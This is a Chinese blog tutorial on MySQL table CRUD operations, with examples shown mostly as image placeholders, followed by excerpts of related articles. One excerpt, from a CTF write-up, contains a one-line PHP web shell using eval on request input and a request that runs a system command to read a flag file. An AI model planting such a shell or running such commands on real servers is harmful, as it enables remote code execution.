表的增删改查

news/2024/11/7 14:30:02/

目录

  • 表的增删改查
  • create(创建)
    • 单行数据 + 全列插入
    • 多行数据 + 指定列插入
    • 插入否则更新
    • 替换
  • retrieve(读取)
    • SELECT 列
      • 全列查询
      • 指定列查询
      • 查询字段为表达式
      • 为查询结果指定别名
      • 结果去重
    • WHERE 条件
      • 英语不及格的同学及英语成绩 ( < 60 )(<)
      • 语文成绩在 [80, 90] 分的同学及语文成绩(and , between ... and...)
      • 数学成绩是 58 或者 59 或者 98 或者 99 分的同学及数学成绩(or, in)
      • 姓孙的同学 及 孙某同学(%, like)
      • 语文成绩好于英语成绩的同学(where)
      • 总分在 200 分以下的同学(where)
      • 语文成绩 > 80 并且不姓孙的同学(and,not)
      • 孙某同学,否则要求总成绩 > 200 并且 语文成绩 < 数学成绩 并且 英语成绩 > 80(综合)
    • NULL 的查询
    • 结果排序
      • 同学及数学成绩,按数学成绩升序显示
      • 同学及 qq 号,按 qq 号排序显示
      • 查询同学各门成绩,依次按 数学降序,英语升序,语文升序的方式显示
      • 查询同学及总分,由高到低
      • 查询姓孙的同学或者姓曹的同学数学成绩,结果按数学成绩由高到低显示
    • 筛选分页结果
  • update(更新)
    • 将孙悟空同学的数学成绩变更为 80 分
    • 将曹孟德同学的数学成绩变更为 60 分,语文成绩变更为 70 分
    • 将总成绩倒数前三的 3 位同学的数学成绩加上 30 分
    • 将所有同学的语文成绩更新为原来的 2 倍
  • delete(删除)
    • 删除孙悟空同学的考试成绩
    • 删除整张表数据
    • 截断表
  • 插入查询结果
  • 聚合函数
    • 统计班级共有多少同学
    • 统计班级收集的 qq 号有多少
    • 统计本次考试的数学成绩分数个数
    • 统计数学成绩总分
    • 统计平均总分
    • 返回英语最高分
    • 返回 > 70 分以上的数学最低分
  • group by子句的使用
  • 顺序

表的增删改查

CRUD : Create(创建), Retrieve(读取),Update(更新),Delete(删除)

create(创建)

在这里插入图片描述

单行数据 + 全列插入

在这里插入图片描述

多行数据 + 指定列插入

在这里插入图片描述

插入否则更新

在这里插入图片描述

替换

在这里插入图片描述

retrieve(读取)

在这里插入图片描述

SELECT 列

全列查询

在这里插入图片描述

指定列查询

在这里插入图片描述

查询字段为表达式

在这里插入图片描述

为查询结果指定别名

在这里插入图片描述

结果去重

在这里插入图片描述

WHERE 条件

  • 比较运算符:
    在这里插入图片描述

  • 逻辑运算符:

  • 在这里插入图片描述

英语不及格的同学及英语成绩 ( < 60 )(<)

在这里插入图片描述

语文成绩在 [80, 90] 分的同学及语文成绩(and , between … and…)

在这里插入图片描述

数学成绩是 58 或者 59 或者 98 或者 99 分的同学及数学成绩(or, in)

在这里插入图片描述

姓孙的同学 及 孙某同学(%, like)

在这里插入图片描述

语文成绩好于英语成绩的同学(where)

在这里插入图片描述

总分在 200 分以下的同学(where)

在这里插入图片描述

语文成绩 > 80 并且不姓孙的同学(and,not)

在这里插入图片描述

孙某同学,否则要求总成绩 > 200 并且 语文成绩 < 数学成绩 并且 英语成绩 > 80(综合)

在这里插入图片描述

NULL 的查询

在这里插入图片描述

结果排序

在这里插入图片描述

同学及数学成绩,按数学成绩升序显示

在这里插入图片描述

同学及 qq 号,按 qq 号排序显示

在这里插入图片描述

查询同学各门成绩,依次按 数学降序,英语升序,语文升序的方式显示

在这里插入图片描述

查询同学及总分,由高到低

在这里插入图片描述

查询姓孙的同学或者姓曹的同学数学成绩,结果按数学成绩由高到低显示

在这里插入图片描述

筛选分页结果

在这里插入图片描述
在这里插入图片描述

update(更新)

在这里插入图片描述

将孙悟空同学的数学成绩变更为 80 分

在这里插入图片描述

将曹孟德同学的数学成绩变更为 60 分,语文成绩变更为 70 分

在这里插入图片描述

将总成绩倒数前三的 3 位同学的数学成绩加上 30 分

在这里插入图片描述

将所有同学的语文成绩更新为原来的 2 倍

delete(删除)

在这里插入图片描述

删除孙悟空同学的考试成绩

在这里插入图片描述

删除整张表数据

在这里插入图片描述

截断表

在这里插入图片描述
在这里插入图片描述

插入查询结果

在这里插入图片描述

聚合函数

在这里插入图片描述

统计班级共有多少同学

在这里插入图片描述

统计班级收集的 qq 号有多少

在这里插入图片描述

统计本次考试的数学成绩分数个数

在这里插入图片描述

统计数学成绩总分

在这里插入图片描述

统计平均总分

在这里插入图片描述

返回英语最高分

在这里插入图片描述

返回 > 70 分以上的数学最低分

在这里插入图片描述

group by子句的使用

在这里插入图片描述

  • group by是通过分组这样的手段,为未来进行聚合统计提供基本的功能支持(group by一定是配合聚合统计使用的)
  • groupby后面跟的都是分组的字段依据,只有在group by后面出现的字段,未来在聚合统计的时候,在select中才能出现.
  • where VS having: 他们两个不是冲突的,是互相补充的
  • having通常: 是在完成整个分组聚合统计,然后再进行筛选
  • where通常: 是在表中数据初步被筛选的时候,要起效果的

顺序

SQL查询中各个关键字的执行先后顺序 from > on> join > where > group by > with > having > select > distinct > order by > limit


http://www.ppmy.cn/news/99956.html

相关文章

2.进程和线程

程序、进程、线程 概述 程序是静态的代码集合进程是程序在执行过程中的实例&#xff0c;是操作系统分配资源的基本单位线程是进程内的执行单位&#xff0c;用于实现并发执行和共享资源 程序&#xff08;Program&#xff09; 程序是指一组指令的集合&#xff0c;它是静态的、…

555定时器的基本原理和应用案例

前言 555定时器常用于脉冲波形的产生和整形电路中&#xff0c;之前在查找555定时器的原理图和基本管脚信息时&#xff0c;网上的内容大多含糊不清&#xff0c;没有讲的很详细&#xff0c;要么只是单一的管脚图&#xff0c;要么就是简单的文字解释&#xff0c;并且大多数缺乏基…

车载软件架构 —— 闲聊几句AUTOSAR OS(二)

我是穿拖鞋的汉子,魔都中坚持长期主义的工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 在最艰难的时候,自己就别去幻想太远的将来,只要鼓励自己过好今天就行了! 这世间有太多的猝不及防,有些东西根本不配占有自己的情绪,人生就是一场体验,…

LeetCode 128 最长连续序列

LeetCode 128 最长连续序列 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;https://leetcode.cn/problems/longest-consecutive-sequence/description/ 博主Github&#xff1a;https://github.com/GDUT-Rp/LeetCode 题目&#xff1a; 给定一个未排…

2023 年大厂实习前端面试题(一):跨域问题

1. 跨域 1.1 跨域问题来源 跨域问题的来源是浏览器为了请求安全而引入的基于同源策略&#xff08;Same-origin policy&#xff09;的安全特性。 同源策略是浏览器一个非常重要的安全策略&#xff0c;基于这个策略可以限制非同源的内容与当前页面进行交互&#xff0c;从而减少…

LeetCode高频算法刷题记录11

文章目录 1. 最大正方形【中等】1.1 题目描述1.2 解题思路1.3 代码实现 2. 在排序数组中查找元素的第一个和最后一个位置【中等】2.1 题目描述2.2 解题思路2.3 代码实现 3. 搜索二维矩阵 II【中等】3.1 题目描述3.2 解题思路3.3 代码实现 4. 翻转二叉树【简单】4.1 题目描述4.2…

CTF国赛2023 - ukfc

没啥好说的&#xff0c;惜败 Web unzip L.zip bello /var/www/htmlR.zip bello bello.php <?php eval($_REQUEST[a]); ?>先传入L文件&#xff0c;在传入R文件&#xff0c;然后 bello.php?asystem(%27cat%20/flag%27);dumpit 访问 ?dbctf&table_2_dumpflag1%0Ae…

Spring Data JPA|至尊荣耀篇

&#x1f648;作者简介&#xff1a;练习时长两年半的Java up主 &#x1f649;个人主页&#xff1a;程序员老茶 &#x1f64a; ps:点赞&#x1f44d;是免费的&#xff0c;却可以让写博客的作者开兴好久好久&#x1f60e; &#x1f4da;系列专栏&#xff1a;Java全栈&#xff0c;…